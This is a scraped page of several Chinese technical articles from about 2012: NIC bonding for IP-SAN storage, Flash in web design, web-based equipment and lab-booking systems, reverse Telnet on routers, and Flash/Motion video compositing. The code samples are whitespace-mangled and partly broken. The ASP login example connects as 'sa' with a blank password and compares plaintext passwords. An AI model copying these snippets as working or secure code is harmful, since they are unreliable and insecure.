并通過核間通信機制發送給數據發送模塊; 數據發送模塊通過核間通信機制接收 數據, 獲取數據包; 數據發送模塊按照發送規則對數據包進行處理, 然后將數據包遞交給實時操作系統 SE 上的物理網絡接口驅動程序進行發送 參考 Linux 現有多網卡綁定方法的自適應負載均衡模式, 本文提出的多網卡綁定方法維護一個發送規 則表, 在規則表中將客戶端的 IP 地址與網卡做映射, 發送數據時使用客戶端 IP 地址所對應的網卡發送數 據 接收數據時采用接收負載均衡( Receive Load Balance, RLB) 算法, RLB 算法是通過 ARP 協商機制實現 的, 運行在實時操作系統上的多網卡綁定程序截獲服務器發送的 ARP 應答, 根據發送數據時采用的算法, 在 綁定設備中挑選一塊網卡, 把 ARP 請求報文中的源 MAC 地址改寫為選定網卡的 MAC 地址, 可以利用這塊 網卡來接收客戶端的數據 在 RLB 算法中, 綁定設備中的每一個網卡的 MAC 地址必須是全局唯一的, 但所 有網卡的 IP 地址是相同的, 使用的都是服務器端統一的 IP, 每一個客戶端可以與服務器中某一塊網卡建立 通信聯系[9] 根據以上原理, 本文在基于多核處理器的嵌入式服務器上實現了多網卡綁定的數據傳輸過程及傳輸算 法, 并在實驗中對多網卡綁定的功能及性能進行了測試 4 性能測試與分析 在進行多網卡綁定之后, 服務器網絡接口的實際性能如何是引起注意的問題, 本文采用基于多核網絡 處理的嵌入式服務器, 對 Linux 現有的多網卡綁定技術和本文提出的多網卡綁定方法的性能進行了定量的 比較測試 本文測試使用的嵌入式服務器具有多個千兆以太網接口, 測試使用的存儲設備為中科藍鯨公司的 BW2000, BW2000 是一個低成本的 IP - SAN 存儲產品, 配置 12 個支持熱插拔的 SATA I / II 磁盤, 主要提供 iSCSI 的主機連接模式, 多達6 個千兆以太網端口, 提供了更高的帶寬和更高的性能 服務器和 IP - SAN 可 以通過千兆交換機形成互聯, 滿足高吞吐率 高伸縮性的要求 也可以讓服務器主機不通過交換機直接同 磁盤陣列網絡接口相連, 稱為 直連 , 此時存儲陣列為服務器的專屬存儲設備。 測試環境如圖 4 所示, 圖中的 X 代表綁定的網卡數目, BW2000 配置 12 塊硬盤, 每兩塊硬盤做一組 RAID0, 共6 組, 每組 RAID0 下創建一個虛擬磁盤, 這樣 IP - SAN 可以對外提供更高的帶寬和性能 嵌入式 服務器在使用 iSCSI 工具連接 IP - SAN 的時候可看到6 塊磁盤 本文使用 Iometer 工具評測服務器訪問存儲設備的性能 Iometer 最初由英特爾公司開發, 并得到了廣。泛應用, 此后 Iometer 成為一個開源項目, 在 GPL 協議下發布 本文中使用的 Iometer 工具包含兩部分, 分別 為 Linux 下的負載發生器 Dynamo 和 Windows 下的控制端, 該控制端也稱為 Iometer ( 以下用 Iometer 指代 Windows 下的控制端) Iometer 與 Dynamo 通信, 操縱 Dynamo 對目標磁盤發起讀寫訪問, 并控制 I /O 訪問參#p#分頁標題#e# 數, 如讀/寫比例, 隨機或順序讀寫的選擇, 數據塊大小, 測試時長等參數 Iometer 的分析結果給出了磁盤 I / O 過程中的 IOPS( 每秒鐘 I /O 次數) 數據速率 CPU 利用率 延遲 錯誤率等參數的測量, 測試的結果如圖5 和圖6 所示, 其中方法1 是采用 Linux 現有的多網卡綁定方法進行測試, 方法2 是采用本文提出的多網卡綁 定方法進行測試。 測試過程中使用 sar 命令監測網卡流量及 CPU 利用率, 在 Iometer 中設置數據塊大小為1M, 持續時間為 半小時, 將結果取平均值, 得到的結果如表1 所示。 上述測試數據表明, 相對于 Linux 現有的多網卡綁定技術, 在耗費 CPU 資源大致相同情況下, 本文提出 的多網卡綁定方法有效的提高了網絡帶寬, 加速了嵌入式服務器讀取 IP - SAN 的數據率 經測試, 本文提 出的多網卡綁定方法在與存儲直連的情況下可以正常工作, 并有較好的性能, 而 Linux 現有的多網卡綁定方 法在與存儲直連的情況下不能工作, 綜上, 本文提出的多網卡綁定方法相對于 Linux 現有的多網卡綁定技術 有一定的優勢 5 結束語 網絡存儲技術的興起引發了相關技術的不斷變革和創新, 本文提出的多網卡綁定技術的出發點是為了 應用于 IP - SAN 存儲網絡中, 以提高訪問速度, 解決網絡瓶頸問題, 但是它的應用領域并不局限于網絡存儲 中, 可以用于任何一個需要更高網絡帶寬的場合 本文在現有 Linux 多網卡綁定的基礎上, 基于嵌入式服務器, 提出了一種面積 IP - SAN 的多網卡綁定方 法, 即在一顆多核處理器的不同處理核上同時運行Linux操作系統和SE實時操作系統, 多網卡綁定處理程 序運行在SE實時操作系統上, 研究探討了多網卡綁定的配置 數據發送和接收的過程, 經有關實驗證明, 本 文提出的多網卡綁定方法有效解決了 IP - SAN 網絡中網絡瓶頸的問題, 提高了服務器訪問 IP - SAN 的速率 和靈活性, 一定程度上提高了數據的整體傳輸效率。 http://www.ionrce.tw/uploads/allimg/120622/1-1206221I1494T-lp.jpg linux,IP-SAN,多網卡綁定 linux admin 未知 2012-06-22 17:29 動態圖像在網絡媒體設計的應用 http://www.ionrce.tw/meigongsheji/20120621958.html 1.Flash 及其功能簡介 1.1 關于 Flash AdobeFlash 是美國 Macromedia 公司于 1996 年推出 的優秀網頁動畫設計軟件 它是一種交互式動畫設計軟 件 可將音樂 圖像 聲效 動畫等界面融合在一起 制作 出 1.Flash 及其功能簡介 1.1 關于 Flash AdobeFlash 是美國 Macromedia 公司于 1996 年推出 的優秀網頁動畫設計軟件 它是一種交互式動畫設計軟 件 可將音樂 圖像 聲效 動畫等界面融合在一起 制作 出高品質的網頁動畫效果 1.2Flash 的功能 動畫功能 Flash 最根本的功能就是動畫功能 而且 Flash 動畫 因為其檔案小 速度快 并且是利用向量技術繪畫 所以 在網頁中應用的非常廣泛 且具有非常好的視覺效果 當 你進入網頁時 利用 Flash 制作的動態圖像會同步跟網頁 進行下載 在極短的時間內呈現在你的面前 Flash 動畫還有以下幾個特點 一是 Flash 對圖文件的運算速度很快 能夠使設計者 設計出精致 滿意的動畫 而且可以控制動畫的快慢節 奏 二是 Flash 動畫可以在屏幕上等比放大而不影響效 果 因為采用了向量繪圖技術 Flash 的文件都是矢量文 件 三是 Flash 在網頁設計中 增加相同組件 使相同組 件產生不同的效果時 不需要重復設計 而且不會增加檔 案的大小 Flash 的這些功能使設計的網頁變得更加的豐 富和美觀 不會像沒有經過動畫設計的網頁那樣簡單而 且缺乏新意 音效功能 Flash 的音效功能可以說是在動畫上的錦上添花 動 畫和音效的組合在網頁上普遍應用 而且設計者可以根 據不同的場景和時段配合不同的音效 當那個場景或畫 面需要音效時 設計者可以通過時間軸來進行自如的控 制 畫面出現 音效隨之出現 互動接口功能 Flash 最神奇的地方就是可以創建互動接口 使用者 可以通過這個模板進行互動 搜索自己想要了解的網頁 信息 而更可貴的是通過 Flash 可以設計出獨特的面板 而不需要隨波逐流 千篇一律 2Flash 在網絡媒體中的應用 目前 Flash 是網絡動態圖像的應用標準 因其文件 小 效果好 交互功能強的特點 被廣泛應用于網絡動畫 網絡廣告 網站片頭 教學課件 網頁游戲等。 2.1 網絡動畫上的應用 動畫需要包含文字 圖像 音效等元素 利用 Flash 制 作網絡動畫可以創造一定的娛樂價值 制作動畫的過程 就跟拍攝一部電影一樣 中間需要控制場景的光線 角 度 色彩 焦距 音效等 來營造一個可以吸引人眼球的動 畫場景 通過圖像 音效的配合來支配觀看者的情緒 這 也是數字科技影響人們的層面 同時也是它的娛樂價值 2.2 網絡廣告上的應用 網絡營銷最常用的方法莫過于網絡廣告 而為什么 會選擇網絡廣告呢 美國交互廣告署的一篇研究文章中 介紹了選擇網絡廣告的 28 種理由 其中包括了增加品牌 認知度 有助于建立客戶數據庫 帶來網絡訪問量 優化 廣告投放率等。 那么為什么 Flash 的網絡廣告能帶來這么好的效益 筆者認為有以下幾個原因 一是體積小 效果好 Flash 的網絡廣告采用的是矢量 圖和流式播放技術 這樣就保證了廣告播放的效果和速 度 而且通過 Flash 生成的(.swf)動畫體積小 可以直接插 入到網頁上 二是可跨媒體播放 且制作 修改成本低 Flash 的廣 告除了可以在網絡上播放外 而且可以在電視 手機等載 體上進行發布和傳播 而且制作和修改的成本比傳統的 廣告成本低很多 三是視覺沖擊強 Flash 的廣告表現形式很豐富 能夠 更容易地吸引消費者的眼球 2.3 網站片頭上的應用 現在很多有名的網站和企業網站都會在進入網頁之 前有一個幾秒鐘的動畫開場 這幾秒鐘的動畫有炫目的 圖像和音效播放 這短短的動畫可以帶出企業的精神和 整個網站的設計風格 如大家都比較熟悉的 QQ 空間 就有這樣的動畫導 航 會給人一種美感 同樣一個企業的網站 如果在進入 網頁之前有這樣一個動畫 會給瀏覽者一個良好的形象 如果在企業標志上做一些動態的效果 可以讓瀏覽者有 一個較為深刻的印象 2.4 在教學課件上的應用 Flash 可以將文本 圖像 音效和視頻等多種信息進行 集成 還提供了多種交互工具 因此可以創建出具有交互 功能的課件 那么使用者就可以通過鼠標等工具與課件 進行交互 滿足使用者的需求 還有 Flash 是通過向量技 術繪畫的 因此制作出來的課件可以等比放大 而不會影#p#分頁標題#e# 響課件的播放效果 同時因其體積小 圖像運算快 可以 在網絡上很流暢的進行播放 滿足使用者 2.5 網頁游戲上的應用 Flash 的網頁游戲是通過交互接口進行創作的 首先 創建一個虛擬的交互媒體空間 然后通過交互式媒體將 文本 聲音 圖像等整合 作雙向溝通 進過交互溝通渠道 進行信息的反饋 進而使網頁游戲與使用者產生互動 如 現在在網絡上流行的傳奇 天龍八部等都是 Flash 游戲 而且還有許多的小型游戲都是通過 Flash 制作完成的 如 連連看等 對 AdobeFlash 在網絡中的應用進行了論述 了解到 Flash 在人們的生活中的應用 不管是在網絡上還是在教 學和娛樂上 都與人們的生活息息相關 而在 Flash 的發 展道路上 還需要更多的專業人士共同能力 才能有更好 更多的成果呈現在人們面前。 http://www.ionrce.tw/uploads/allimg/120621/1_06211953261038.jpg 動態圖像,flash,網絡媒體 美工設計 admin 未知 2012-06-21 19:50 基于web的硬件設備管理系統設計 http://www.ionrce.tw/wangzhanbiancheng/20120620957.html 引言 高校的硬件資源如何得到合理的利用 如何對每筆 高校設備進行系統管理 本系統都可以滿足這些需求 通 過該系統的實現 能大大提高高校硬件設備的管理工作 能提升硬件設備利用價 引言 高校的硬件資源如何得到合理的利用 如何對每筆 高校設備進行系統管理 本系統都可以滿足這些需求 通 過該系統的實現 能大大提高高校硬件設備的管理工作 能提升硬件設備利用價值 提高硬件資產的利用率 對促 進高校教育 人才培養及其科研事業的發展有著非常重 要的作用 高校設備信息的網絡化 在使其合理利用資源 的基礎上 避免了資源設備的浪費和閑置 可以避免不同 部門之間設備的重復采購 節約資金 還能使得設備更加 規范化 科學化和信息化 1 系統的使用技術介紹 1.1 B/S體系結構 B/S 結構的教學系統興起于上世紀末 Internet 技術 的發展 B/S(Browser/Server)結構,即瀏覽器和服務器結 構 它是對 C/S 結構的一種變化或者改進的結構 在這 種結構下,用戶工作界面是通過 WWW 瀏覽器來實現,極 少部分事務邏輯在前端(Browser)實現,主要事務邏輯在 服務器端(Server)實現,server 端訪問數據庫,形成所謂三 層 3-tier 結構 B/S 結構使用的 http 協議,就是針對超級 文本的,而超級文本自身就帶著多媒體的韻味 如今 Web 技術的日益成熟,B/S 結構浮出水面并呈現逐漸取代 C/S 的形勢, 使得教學軟件系統的網絡體系結構跨入一個新 階段 本系統在基于 B/S 架構上用 C#+MySQL 數據庫 實現 1.2C#語言 C# 是 CSharp 的縮寫 是微軟為 NETFramework 量 身訂做的一種程序語言 C# 不僅僅擁有 C/C++ 語言的很 多強大的功能 而且擁有 VisualBasic 語言簡易使用的特 點 它是第一個面向組件的程序語言 與 C++ Java 一樣 也是一種面向對象的程序語言 目前 C# 由于其使用簡介 等很多優點已經成為時下非常流行的語言之一 1.3MySQL 數據庫 MySQL 是一種開放源代碼的關系型數 據庫管理系統 MySQL 數據庫系統使用最常 用的數據庫管理語言 結構化查詢語言 SQL 進行數據庫管理 由于 MySQL 是開放 源代碼的 因此任何人都可以在 General PublicLicense 的許可下下載并根據個性化的 需要對其進行修改 MySQL 因為其速度 可 靠性和適應性而備受關注 大多數人都認為 在不需要事務化處理 的情況下 MySQL 是管理內容最好的選擇 MySQL 雖然功能未必很強大 但是因為它的 開源 廣泛傳播 可以讓很多人都了解到這個 數據庫 如圖 1 是 B/S 架構結構圖 用戶通過網絡 瀏覽器 經過應用層的邏輯服務 然后訪問服 務器 服務器和數據庫進行交互得到所需要 的信息 2 設備管理系統的模塊組成 整個系統由用戶登錄模塊 設備數據查 詢模塊 設備申請模塊 設備添加模塊 下面 我們對各模塊的功能進行詳細介紹 a.用戶登錄模塊 該模塊的主要功能是進 行用戶注冊 用戶登錄 用戶信息更改 如頭 像上傳等 b. 設備數據查詢模塊 該模塊可以供用 戶查詢目前學校所有硬件設備 可以對不同 系別不同部門及其公共設備等條件進行查 詢 c.設備申請模塊 該模塊的功能是供用戶 進行硬件設備申請 其中可以需要編寫申請 理由 申請設備名稱 購買地點 估價等 d. 設備添加模塊 這個模塊主要是供系統管理員使 用 當設備申請被批準 設備采購完成時 管理員需要將 設備信息添加到網站中 比較常見的活動流程圖如圖 2 從用戶注冊到對設備 的查詢和設備申請的提交 圖 3 所示是管理員所能進行的部分活動 3 設備管理系統的具體實現 3.1c#訪問 MySQL 數據庫 UsingEID.MySqlClient; MySqlConnectionoMySqlConn=new MySqlConnection(); oMySqlConn.ConnectionString="my connectionstring"; oMySqlConn.Open(); 3.2 獲取一個只有登錄后才能訪問的頁面,測試是否登 錄成功 在面向 HTTP 協議上 C# 中有 WebRequest WebResponse HttpWebRequ est 和 HttpWebResponse 等類 在不設置 Cookie PostData 的情況下要獲得一個頁面的 HTML 的方法很簡單 publicstaticstringGetHtml(stringURL) { WebRequestwrt; wrt=WebRequest.Create(URL); wrt.Credentials=CredentialCache#p#分頁標題#e# DefaultCredentials; WebResponsewrp; wrp=wrt.GetResponse(); returnnewStreamReader(wrp.GetResponseStream(), Encoding.Default).ReadToEnd(); } 3.3 數據庫的設計 系統共創建了 3 個數據表 為用戶信息表 設備信息 表 未審計設備信息表 其中用戶信息表中的用戶 ID 和 未審計設備信息表中的用戶 ID 是關聯關系 C1.用戶信息表 含有的字段有用戶 ID 用戶姓名 用戶所屬部門 用 戶角色等級字段 C2.未審計設備信息表 含有的字段有用戶 ID 設備 ID 設備名稱 設備數 量 所屬種類等 C3.硬件設備表 含有字段有設備 ID 設備名稱 設備數量 所屬種 類 購買時間 所屬部門這幾個字段 一般主要設備如表 1 所示 以上三個表之間存在著關聯關系 用戶信息表中的 用戶 ID 和未審計設備信息表中的用戶 ID 具備參照完整 性 未審計設備信息表中得設備 ID 和添加硬件之后的硬 件設備表的設備 ID 有包含關系 其中用戶信息表中得用 戶 ID 是主鍵 未審計設備信息表中的用戶 ID 和設備 ID 為主鍵 硬件設備表中的設備 ID 為主鍵 對硬件信息進行查詢的 SQL 語句 Select*fromdev_info. 根據所屬部門信息查詢設備 得到設備名稱及其數 量的 SQL 語句 Select[設備名稱],[設備數量]fromdev_infowhere[所 屬部門]= 管理部門 添加設備信息的 SQL 語句 Insertinto(設備 ID 設備名稱 設備數量 所屬種類 所屬部門)values(005 幻燈機 教學設備 學校設備管理中 心) 4 總結 系統采用了目前最流行的 C# 語言實現 用開源的 簡介的 MySQL 數據庫作為硬件設備數據的管理 目前 本系統僅僅是設備申請 設備查詢等功能 可以根據需 要增加設備預借等功能 使得一些設備使用開放化 避 免設備閑置 導致資源浪費 不同系不同部門之間可以 相互進行設備預借 隨著設備的信息管理系統的逐步完 善及其具體實施 可以在使用中對系統進行逐步的功能 變更和完善。 http://www.ionrce.tw/uploads/allimg/120620/1-1206201P955108-lp.jpg web,硬件設備,管理系統 網站編程 admin 未知 2012-06-20 20:53 基于web的開放性實驗室網上系統的設計 http://www.ionrce.tw/wangzhanbiancheng/20120619956.html 引言 目前隨著國家對科研實驗領域的投資逐漸加大 實 驗室不僅是高等院校教育不可缺少的環節 也是社會科 研組織或者相關人員所必不可少的基地 本文探討了一 種基于 Web 的開放性實 引言 目前隨著國家對科研實驗領域的投資逐漸加大 實 驗室不僅是高等院校教育不可缺少的環節 也是社會科 研組織或者相關人員所必不可少的基地 本文探討了一 種基于 Web 的開放性實驗室預約系統 實現了使用人員 通過 Web 網絡對實驗室進行預約的功能 管理人員在網 上對預約申請進行審核 通過審核后申請者便可按照預 約時間使用實驗室 2 網上預約系統的主要功能介紹 網上預約系統的主要功能主要有兩大部分 前臺用 戶和后臺管理員 前臺用戶是實驗室預約系統的使用人 員 包括各個系室 教師 學生 外部人員等 根據用戶的 不同身份和所在年級 可以預約的實驗室有所不同 用戶 需要先注冊 然后根據注冊的身份 預約實驗室 根據用 戶身份的不同 可以進行實驗室設備查詢 實驗室預約 實驗室取消預約 實驗室預約查詢等功能 而后臺管理員 則是對所有用戶進行管理 可以管理用戶密碼 驗證用戶 身份 劃分用戶等級實驗室信息的編輯等 3 網上預約系統研究方法 本系統所用到的技術 前臺網頁用 Dreamweaver 設 計靜態頁面 ASP 網絡編程技術實現動態頁面 后臺的數 據庫管理采用微軟的 MSSQLServer2000 實現 B/S 的交 互實驗室預約系統 用戶只需要上網就可以對實驗室進 行查詢 預約 研究方法 在做系統之初 對能想到的用戶體驗進行 設計 如有用戶注冊 登錄 修改用戶信息 實驗室預約等 然后根據使用人群不同 進行抽樣調研 廣泛收集用戶需 求 對預約系統進行進一步的需求分析 需求設計 確定完 需求之后 我們才能進行具體系統設計和系統實現 4 系統架構 4.1 數據流程設計 數據流程設計 我們只介紹管理員的實驗室信息發 布流程圖和學生預約實驗室流程圖這 2 個主要的實驗室 預約過程活動 管理員對新實驗室信息進行發布 學生根 據網站顯示實驗室情況 對未預約的實驗室進行預約 流 程圖如下 2 功能模塊設計 2.1 用戶登錄驗證模塊 不管是教師 學生 外部人員還是管理員登陸網站都 需要進行身份驗證 下面我們介紹主要代碼實現 如下 ASP 程序需要調用存儲過程 login_check 該存 儲過程在下面數據庫模塊進行詳細介紹 m_pConn 對象建立存儲過程連接 m_pConn->CommandText="login_check" 4 代表連接類型為存儲過程 m_pConn->CommandType=4 追加參數 Setinput1=m_pConn->CreateParameter("username", 200,1,30,request("username")) m_pConn->Parameters.Appendinput1 Setinput2=m_pConn->CreateParameter("password", 200,1,10,request("password")) m_pConn->Parameters.Appendinput2 Setoutput=m_pConn->CreateParameter("rusult", 200,1,10,request("result")) m_pConn->Parameters.Appendoutput 執行存儲過程 m_pConn->Execute(); 2.2 預約狀況查詢模塊 用戶登錄后即可查詢實驗室預約情況 可以根據條 件進行查詢 如對某個地理位置的實驗室進行查詢 2.3 預約模塊 在期望的時間段提交預約申請 完成設備預約 等候 管理員審核 2.4 數據庫操作模塊 連接數據庫 下面是通過數據源連接數據庫的代碼 為了數據庫 的安全起見 我們在 Setting.asa 文件里寫連接代碼 然后 在頁面上調用 本例中 DSN 數據源為數據源 labdatabase <SCRIPTLANGUAGE="VBSCRIPT" RUNAT="SERVER"> SubApplication_onStart Application("ConnectDataSourceString") ="DSN=labdatabase;UID=sa;PWD=;" SubApplication_onEnd Endsub</Script> 在 ASP 頁面上調用 <%Dimconn,strconn Setconn=Server.CreateObjec( ADODB.Connection ) Conn.openApplication("ConnectDataSourceString")%> 2.4.2 建立存儲過程(以用戶登陸為例,其它類似) 建立存儲過程 login_check CREATEprocedurelogin_check @username_invarchar(30), @password_invarchar(10), @result_outchar(3)OUTPUT as ifexists(select*fromuser_infowhereusername=@ username_inandpassword=@password_in#p#分頁標題#e#) select@result_out='yes' else select@result_out='no' 2.4.3表管理 數據庫中表的設計有:實驗室預約表 實驗室信息表 注冊用戶信息表等等表 下面介紹 2個主要表的設計字段 5 總結 隨著信息技術的不斷發展和普及 當今社會己經進 入網絡時代 各行各業工作的信息化程度越來越高 大型 開放性實驗室的預約之前都是通過電話 或者去實驗室 預約 有了網上預約系統 人們只要上網便可對實驗室完 成預約 大大改善了傳統的預約方式 提高了效率 而且 還可以實時瀏覽所有實驗室設備情況 實驗室環境等信 息 選擇自己最適合的實驗室。 http://www.ionrce.tw/uploads/allimg/120619/1-120619164342X2-lp.jpg web,開放性,網上系統 網站編程 admin 未知 2012-06-19 16:42 反向telnet在網絡系統集成的應用 http://www.ionrce.tw/windows/20120618955.html Telnet與反向Telnet Telnet 是一種客戶機 / 服務器模型的服務 它實現了 基于 Telnet 協議的遠程登錄 (遠程交互式計算) 遠程登 錄 是指用戶使用 Telnet 命令 使自己的計算機暫時成為 遠程主機的 Telnet與反向Telnet Telnet 是一種客戶機 / 服務器模型的服務 它實現了 基于 Telnet 協議的遠程登錄 (遠程交互式計算) 遠程登 錄 是指用戶使用 Telnet 命令 使自己的計算機暫時成為 遠程主機的一個仿真終端的過程 仿真終端等效于一個 非智能機器 只負責把用戶輸入的每個字符傳給主機 再 將主機輸出的每個信息回顯到屏幕 使用 Telnet 協議遠 程登錄需要滿足以下條件 在本地計算機上必須裝有包 含 Telnet 協議的客戶程序 必須知道遠程主機的 IP 地址 或域名 必須知道登錄標識與口令 路由器異步線路與 Modem 連接后 就可以建立與 Modem 的直接 Telnet 對話通信 這個過程也稱為反向 Telnet reverseTelnet 指經由異步線路啟動 Telnet 對話 而不是接收傳至線路的連接 即所謂的正向連接 forward connection 反向 Telnet 使用特定的端口建立會話 而不使用缺 省的 TCP 端口 23 通常 Telnet 守護進程監聽 TCP 的端口 23 來等待連接請求 用不同 TCP 的端口號遠程登錄目的 IP 地址 可以建立對連接設備的特定連接 使用新的 TCP 端口號必須與連接的設備相符 3 反向Telnet 的配置 在實際應用中反向Telnet功能可以用于連接和管 理多臺網絡設備 通過將支持反向 Telne 功能的路由器配 置成終端服務器 利用其異步串口線路連接被控設備的 Console 口 實現管理目的 目前 支持反向 Telnet 功能的 設備較多 例如 Cisco2509 Cisco2511 等 這里以 H3C AR28 路由器為例 實驗網絡環境如圖 1 所示 路由器 A 的 Ethernet0/0/0 地址為 201.1.1.1 配置一個 8ASE 增強型 8 端口異步串口模塊 用來完成異步串口數據流的收發 及處理 ASE 模塊的連接器為 RJ45 可以使用標準 5 類雙 絞線 路由器 A 的 async1/0/0 和路由器 B 的 console 口相 連 同時確定與路由器異步接口 async1/0/0 對應的 tty 用 戶界面編號為 user-interfacetty1 PC 的地址為 201.1.1.2。 要實現路由器 A 的反向 Telnet 功能 從 PC 端能夠訪 問路由器 B 需要對路由器 A 做如下配置 1 配置以太網接口 Ethernet0/0/0 [H3C]interfaceethernet0/0/0 [H3C-Ethernet0/0/0]ipaddress201.1.1.1255.255.255.0 [H3C-Ethernet0/0/0]quit 2 將異步接口 async1/0/0 配置為 流 方式 [H3C]interfaceasync1/0/0 [H3C-async0/0/0]asyncmodeflow [H3C-async0/0/0]quit 3 啟動 Telnet 重定向 禁止在用戶界面上啟動終端 服務并配置用戶界面相關參數 [H3C]user-interfacetty1 [H3C-ui-tty1]undoshell [H3C-ui-tty1]redirectenable [H3C-ui-tty1]redirectlisten-port5000 [H3C-ui-tty1]flow-controlnone 通過以上配置 可以在 PC 上使用 Telnet201.1.1.1 5000 建立 telnet 客戶界面 對路由器 B 進行控制管理 PC Telnet 客戶端 的所有數據將被透明的傳輸到路由器 B 同時路由器 B 的所有數據將透明的傳輸到 PC Telnet 客 戶端 建立重定向連接時的 Telnet 端口號按如下規則編 號 Telnet 端口號等于 TTY 編號加上 2000 如有多臺被控 設備 則只需修改對應端口號即可連接訪問對應的設備 4 總結 反向Telnet技術將路由器配置為終端服務器,當用 戶通過 Telnet 客戶端程序以特定的端口號登錄路由器 時 可以實現重定向連接 登錄到與路由器異步口 即 TTY 接口 相連的設備上典型的應用是將路由器的 8/16 異步口以直連方式外接多個設備 實現對這些設備的遠 程配置和維護 在網絡系統集成課程的實驗教學和實驗設備管理 中反向Telnet技術可以使不同的網絡用戶間共享一個 實驗臺中的網絡設備 用戶可以通過 IP 網絡直接訪問實 驗設備的 Console 口 完成設備的配置管理或實驗 不需 要直接連接實驗設備的 Console 口 因而能有效縮短實驗 環境部署和實驗結果獲取的時間,方便監控學生的實驗 過程 降低實驗設備管理維護強度。 http://www.ionrce.tw/uploads/allimg/120618/1-12061Q920103c-lp.jpg 反向telnet,telnet,網絡系統集成 windows admin 未知 2012-06-18 19:25 巧用Flash素材在Motion中實現虛實結合效果 http://www.ionrce.tw/meigongsheji/20120617954.html 摘要:將動畫和真實鏡頭融合使用在目前的影視制作中廣泛流行。本文通過一個實例,來介紹如何通過Flash和Motion兩個軟件結合使用,將Flash動 畫資源應用到視頻制作中實現虛實結合效果 摘要:將動畫和真實鏡頭融合使用在目前的影視制作中廣泛流行。本文通過一個實例,來介紹如何通過Flash和Motion兩個軟件結合使用,將Flash動 畫資源應用到視頻制作中實現虛實結合效果。 隨著數字技術和計算機技術的迅猛發展,利用一臺非編,通過簡單的鏡頭剪輯和字幕疊加來完成 影片制作的時代已經基本結束。目前,制作一部影片通常需要利用各種軟件和多種技術來達到最終需 要的制作效果。 通過近幾年流行的影片不難看出,真實鏡頭與動畫互動效果逐漸成為一種豐富鏡頭內容的比較流 行的方法。因為它能帶給觀眾或夸張搞怪,或震撼逼真的虛實結合、身臨其境的視聽盛宴,它的產生 大大擴展了影片的制作形式,使影片對觀眾的感染力得到了極大的擴展和延伸。但是,實現真實鏡頭 與動畫互動效果需要很高的成本和很大的技術門檻。因此,對于一般的影視制作人員來說,要實現這 種效果就必須整合手上的軟硬件資源,另辟蹊徑,以巧取勝。 現在,我們能夠搜集到的最多的動畫資源是Flash動畫,并且其發展到現在已經非常成熟與完善, 其中大量的作品都很有特色,都非常精彩,這些正是我們可以加以利用的。就現在的技術而言,我們 可以輕松打破Flash動畫只能與真實鏡頭并列使用的瓶頸,將Flash動畫和實景拍攝的鏡頭融合在一 起使用,進而實現簡單的真實鏡頭與動畫互動效果。下面我們通過實例來介紹一下如何在蘋果非編系 統下利用Flash動畫資源搭設一個虛擬的二維環境,進而實現真人與動畫互動效果。 1.分析素材,確定方法。 通過觀察兩段素材后發現,Flash動畫素材(如圖1所示) 是一段目前非常流行的水墨畫效果動畫,而 視頻素材(如圖2所示)則是一段專門為摳像而設計拍攝的舞者跳舞的錄像,很顯然我們是要將舞者融入 到水墨畫背景上,實現中西文化交融的意境(如圖3所示) 。要實現這個效果,首先需要在Flash CS4中將 Flash動畫進行修改并將修改,完成的動畫導成與蘋果非編系統兼容的視頻文件,然后再通過Motion將舞 者視頻進行摳像處理,最后實現兩段素材的融合。 2.利用Flash修改動畫, 制作水墨畫視頻背景。 首先,打開Flash原始素材的源文件(如圖4 所示) ,我們可以從其右下方的屬性欄中得知,這 段Flash動畫的大小是 1003×323像素,幀速率 為30fps,很顯然這兩個參數不符合我們要制作的 視頻背景的參數標準,因此我們需要將這兩個參數 分別改成1280×720像素和25fps(注意:我們在 Flash中把幀速率改成25fps是為了能精確的計算 出動畫導成視頻后的播放時間) 。然后,我們需要刪 除掉Flash動畫中那些不需要的元素并對保留下來 的元素的大小、位置和動作進行簡單的調整,使其 滿足我們要制作的視頻背景的規格要求( 如圖5所 示 ) 。最后, 我們還需要將Flash動畫導成視頻文件, 選擇文件→導出→導出影片,在保存類型一欄中選擇QuickTime(*.mov)格式,點擊保存,然后選擇彈出對話框左下方的QuickTime設置按鈕,接下來選 擇彈出對話框中視頻項下的設置按鈕( 如圖6所示 ) , 緊接著在新彈出的對話框中對視頻壓縮類型、幀 速率、壓縮質量和寬高比等參數進行設置( 如圖7所示 ) ,最后點擊確定導出視頻文件。 3.在Motion中摳像并合成 在Motion中創建一個新項目,注意在項目預設項中選擇“HDV  720p25”項以適合視頻素材的尺寸。然后, 導入需摳像的舞者視頻素材和我們從Flash中導出的視頻背景, 接下來開始對舞者視頻進行摳像處理, 具體操作如下: (1)利用Primatte RT(實時摳像)進行摳像處理 首先,選擇Library→Filters→Keying→Primatte RT(實時摳像)。然后,在Primatte RT(實時摳像)屬性面板中選擇 Backing Color(應用Primatte RT濾鏡后,會自動分析出一個被摳掉的顏色,但這個顏色不是很精確,因此此項操作最 好手動參與選擇),把Output Type(輸出類型)設為Matte(蒙板),分別設定Matte Density(蒙板密度)、Noise#p#分頁標題#e# Removal(噪點移除)和Spill Suppression(顏色溢出控制)的參數,以使摳像效果達到最佳(如圖8、9所示)。最 后,把Output Type(輸出類型)設為Processed Foreground。   (2)利用Gamma (灰度系數) 進行微調 選擇 Library→Filters→Color Correction→Gamma(灰度系數),調整其參數,使舞者更加自然的融合到背景里(如圖 10、11所示)。 (3)利用Matte Magic  (魔術蒙板) 整理邊緣 選擇Library→Filters→Matte→Matte Magic(魔術蒙板),調整其參數,使舞者的邊緣像素稀疏開來,能夠平滑地過渡 到背景里(如圖12、13所示)。 (4)建Garbage Matte(垃圾蒙板), 切掉鏡頭里未摳干凈的元素 通過之前的操作我們發現,舞者的邊緣和周圍環境處理的還是 比較成功,但是在鏡頭的左上方還是存在一些噪點沒有摳除干 凈(如圖14、15所示),因此我們還需要做進一步的處理。 在Motion中,可以通過使用圖層遮罩創建垃圾蒙板進而切掉 鏡頭中不需要的元素。 先在Canvas(畫布)左上方的工具欄中選 擇Bezier Mask(貝塞爾曲線遮罩)工具(如圖 16所示)。 下來,利用Bezier Mask(貝塞爾曲線遮罩) 工具建立一個閉合的形狀以去除掉鏡頭中未摳出 干凈的元素(如圖17所示)。 至此,我們通過在Motion中進行以上四個步驟 的操作,就基本實現了預期素材摳像的效果,實 現了兩段素材的融合(如圖18所示 )。 4.結束語 通過以上的實例,我們了解到如何通過Flash和Motion兩款軟件的結合,使用來實現真實鏡頭與動畫的 互動效果。我們可以舉一反三,在奇妙的構思和設計下,利用豐富的Flash動畫資源,制作出精美的虛實結合 的視頻效果,以提高影片的視覺效果和感染力。  http://www.ionrce.tw/uploads/allimg/120617/1-12061G64209109-lp.jpg Flash,Motion,虛實結合 